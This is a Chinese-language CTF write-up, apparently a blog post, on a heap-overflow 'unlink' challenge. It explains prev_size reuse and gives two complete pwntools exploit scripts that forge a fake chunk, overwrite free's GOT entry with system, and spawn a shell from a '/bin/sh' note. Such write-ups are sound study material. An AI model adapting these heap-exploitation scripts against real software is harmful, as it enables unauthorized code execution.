heapoverflow_unlink

2019-11-02  本文已影响0人  v1gor

有助于理解 堆内存分配时的 presize 复用

unlink

main函数

main函数是比较常见的套路

main.png

分析

这一题有两个防止简单的堆溢出的方法:

但是这题还是可以实现unlink的,原理就是堆溢出,只不过这里的溢出需要绕过strlen的限制。

strlen.png

首先回顾一下堆的知识,当申请的堆块大小不为对齐单位的整数倍时(对齐单位:32位下是8字节对齐,64位下是16字节对齐),下个申请的堆块的presize将会和这个堆块的数据块复用。当时看教程我也不是很理解这块,但是通过对这一题的分析帮助我掌握了这个知识点,接下来实验一下:

测试脚本如下:

from pwn import *

io = process("./unlink1")
io.sendline("1")#0
io.recvuntil("size:")
io.sendline("128")
io.recvuntil("note:")
io.sendline("A"*128)
io.sendline("1")#1
io.recvuntil("size:")
io.sendline("129")
io.sendline("B"*129)
io.sendline("1")#2
io.recvuntil("size:")
io.sendline("136")
io.sendline("C"*136)
io.sendline("1")#3
io.recvuntil("size:")
io.sendline("137")
io.sendline("D"*137)
io.sendline("1")#4
io.recvuntil("size:")
io.sendline("128")
io.sendline("F"*128)

io.interactive()

gdb调试,从#0号堆块开始,看堆的内存分布:

heap_test.png

这里有两个值得注意的点:

这题的破解脚本如下(这题给了libc所以使用本机libc,但是不知道为什么dynelf不能用,,,):

from pwn import *
io = process("./unlink1")
io.sendline("1")#0
io.recvuntil("size:")
io.sendline("128")
io.recvuntil("note:")
io.sendline("01")
io.sendline("1")#1
io.recvuntil("size:")
io.sendline("128")
io.recvuntil("note:")
io.sendline("/bin/sh\x00")
io.sendline("1")#2
io.recvuntil("size:")
io.sendline("128")
io.recvuntil("note:")
io.sendline("02")
io.sendline("1")#3
io.recvuntil("size:")
io.sendline("136")#128 + 8, to reuse the presize and 
io.recvuntil("note:")

io.sendline("A"*136)
io.sendline("1")#4
io.recvuntil("size:")
io.sendline("128")
io.recvuntil("note:")
io.sendline("B" * 128)

payload = p64(0) + p64(128) + p64(0x06020C0) + p64(0x6020c8) + "A" * (136 - 4 * 8 - 8)+ p64(0x80) + "\x90"
io.sendline("4")
io.recvuntil("index:")
io.sendline("3")#edit #3 to cover lowest byte of the size of #4
io.recvuntil("note:")
io.sendline(payload)
io.recv()

io.sendline("2")
io.recv()
io.sendline("4")#delete #4 double free
io.recv()
free_addr = 0x07B4E0
system_addr = 0x03F450
free_got = 0x602018

io.sendline("4")#edit #3 ,actually writing addr to cover #0's addr
io.recv()
io.sendline("3")
io.sendline(p64(free_got))
io.recv()
io.sendline("3")#leak free's real addr
io.recv()
io.sendline("0")
io.recvuntil("Note: \n")
data = io.recv(8)
io.recv()
system = system_addr - free_addr + int(data[::-1][2:].encode("hex"),16)

io.sendline("4")#edit #3 ,actually writing addr to cover #0's addr
io.recv()
io.sendline("3")
io.sendline(p64(free_got))#ready to modify free got to sys_addr
io.recv()

io.sendline("4")#change free to system
io.recv()
io.sendline("0")
io.sendline(p64(system))
io.recv()

io.sendline("2")#system("\bin\sh")
io.recv()
io.sendline("1")
#io.recv()
io.interactive()

dynelf的版本如下,跑到一半卡住了不知道为啥:

from pwn import *
io = process("./unlink1")
io.sendline("1")#0
io.recvuntil("size:")
io.sendline("128")
io.recvuntil("note:")
io.sendline("01")
io.sendline("1")#1
io.recvuntil("size:")
io.sendline("128")
io.recvuntil("note:")
io.sendline("/bin/sh\x00")
io.sendline("1")#2
io.recvuntil("size:")
io.sendline("128")
io.recvuntil("note:")
io.sendline("02")
io.sendline("1")#3
io.recvuntil("size:")
io.sendline("136")#128 + 8, to reuse the presize and 
io.recvuntil("note:")

io.sendline("A"*136)
io.sendline("1")#4
io.recvuntil("size:")
io.sendline("128")
io.recvuntil("note:")
io.sendline("B" * 128)

payload = p64(0) + p64(128) + p64(0x06020C0) + p64(0x6020c8) + "A" * (136 - 4 * 8 - 8)+ p64(0x80) + "\x90"
io.sendline("4")
io.recvuntil("index:")
io.sendline("3")#edit #3 to cover lowest byte of the size of #4
io.recvuntil("note:")
io.sendline(payload)
io.recv()

io.sendline("2")
io.recv()
io.sendline("4")#delete #4 double free
io.recv()


 def leak(addr):
    io.sendline("4")#edit #3 ,actually writing addr to cover #0's addr
    io.recv()
    io.sendline("3")
    io.sendline(p64(addr))#addr of #1
    io.recv()
    io.sendline("3")#show contain of certain addr
    io.recv()
    io.sendline("0")
    io.recvuntil("Note: \n")
    data = io.recv(8)
    print "%x:%s"%(addr,data.encode("hex"))
    io.recv()
    return data

d = DynELF(leak,elf=ELF("./unlink1"))
system = d.lookup("system","libc")
free_got = 0x602018

io.sendline("4")#edit #3 ,actually writing addr to cover #0's addr
io.recv()
io.sendline("3")
io.sendline(p64(free_got))
io.recv()
io.sendline("3")#leak free's real addr
io.recv()
io.sendline("0")
io.recvuntil("Note: \n")
data = io.recv(8)
io.recv()

io.sendline("4")#edit #3 ,actually writing addr to cover #0's addr
io.recv()
io.sendline("3")
io.sendline(p64(free_got))#ready to modify free got to sys_addr
io.recv()

io.sendline("4")#change free to system
io.recv()
io.sendline("0")
io.sendline(p64(system))
io.recv()

io.sendline("2")#system("\bin\sh")
io.recv()
io.sendline("1")
#io.recv()
io.interactive()
上一篇 下一篇

猜你喜欢

热点阅读